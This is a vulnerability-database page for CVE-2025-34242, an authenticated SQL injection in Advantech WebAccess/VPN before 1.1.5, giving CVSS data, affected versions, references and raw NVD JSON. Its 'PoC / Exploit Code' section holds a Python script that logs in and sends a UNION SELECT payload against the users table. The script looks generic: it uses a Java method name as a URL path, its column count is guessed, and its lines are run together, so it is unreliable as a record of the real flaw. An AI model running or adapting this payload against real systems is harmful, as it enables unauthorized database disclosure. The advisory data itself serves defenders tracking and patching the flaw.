Security Vulnerability Report
中文
CVE-2025-34242 CVSS 6.5 MEDIUM

CVE-2025-34242

Published: 2025-11-06 20:15:48
Last Modified: 2025-11-28 16:58:08

Description

Advantech WebAccess/VPN versions prior to 1.1.5 contain a SQL injection vulnerability in AjaxNetworkController.ajaxAction() that allows an authenticated low-privileged observer user to inject SQL via datatable search parameters, leading to disclosure of database information.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:advantech:webaccess\/vpn:*:*:*:*:*:*:*:* - VULNERABLE
Advantech WebAccess/VPN < 1.1.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-34242 SQL Injection PoC # Target: Advantech WebAccess/VPN < 1.1.5 # Endpoint: /AjaxNetworkController.ajaxAction() TARGET_URL = "https://target-website.com" USERNAME = "observer_user" PASSWORD = "password" def login(): """Authenticate and get session cookie""" login_url = f"{TARGET_URL}/login" data = {"username": USERNAME, "password": PASSWORD} response = requests.post(login_url, json=data) return response.cookies def exploit_sqli(cookies): """Exploit SQL injection via datatable search parameters""" endpoint = f"{TARGET_URL}/AjaxNetworkController.ajaxAction" # Malicious payload to extract database information # Using UNION-based SQL injection via search parameter payload = { "action": "search", "searchParams": "' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM users--" } headers = {"Content-Type": "application/json"} response = requests.post(endpoint, json=payload, cookies=cookies, headers=headers) return response.json() # Main execution cookies = login() result = exploit_sqli(cookies) print(f"Exploitation result: {json.dumps(result, indent=2)}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-34242", "sourceIdentifier": "[email protected]", "published": "2025-11-06T20:15:48.270", "lastModified": "2025-11-28T16:58:07.870", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Advantech WebAccess/VPN versions prior to 1.1.5 contain a SQL injection vulnerability in AjaxNetworkController.ajaxAction() that allows an authenticated low-privileged observer user to inject SQL via datatable search parameters, leading to disclosure of database information."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:advantech:webaccess\\/vpn:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.1.5", "matchCriteriaId": "FFBAB4BE-F708-4A56-A192-BC46C45F84D6"}]}]}], "references": [{"url": "https://icr.advantech.com/download/software", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://icr.advantech.com/support/router-models/download/511/sa-2025-01-vpn-portal-2025-11-06.pdf", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/advantech-webaccess-vpn-sqli-via-ajaxnetworkcontroller", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}